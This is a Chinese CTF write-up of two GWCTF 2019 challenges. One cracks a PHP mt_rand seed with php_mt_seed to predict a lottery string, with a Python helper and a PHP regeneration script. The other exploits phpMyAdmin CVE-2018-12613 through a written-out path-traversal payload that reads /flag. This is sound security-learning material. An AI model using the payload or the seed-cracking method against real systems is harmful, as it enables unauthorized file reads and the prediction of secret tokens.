2.17 [GWCTF 2019]枯燥的抽奖&我有一个数据库

枯燥的抽奖

打开页面发现是给出了前十位,要猜后十位的字符串。直接抓包发现check.php源码


看到是个伪随机数问题,使用php_mt_seed进行爆破。
首先使用下面这个脚本,把php_mt_seed需要的获取出来:

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='hvKiZfOpgL' //这里填上题目给的前十位
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)


然后用php_mt_seed爆破:

得到的随机数直接用下面的脚本进行获取全面字符串:
1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(104517409);
$str_long1 =
"abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for ($i = 0; $i < $len1; $i++)
{    $str .= substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "<p id='p1'>" . $str . "</p>";


将这段字符串提交得到flag。


我有一个数据库

目录扫描到phpmyadmin,接下来的就没思路了,看了别的师傅的wp,发现是phpmyadmin有一处文件包含:phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞。
payload:

1
phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag

#
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×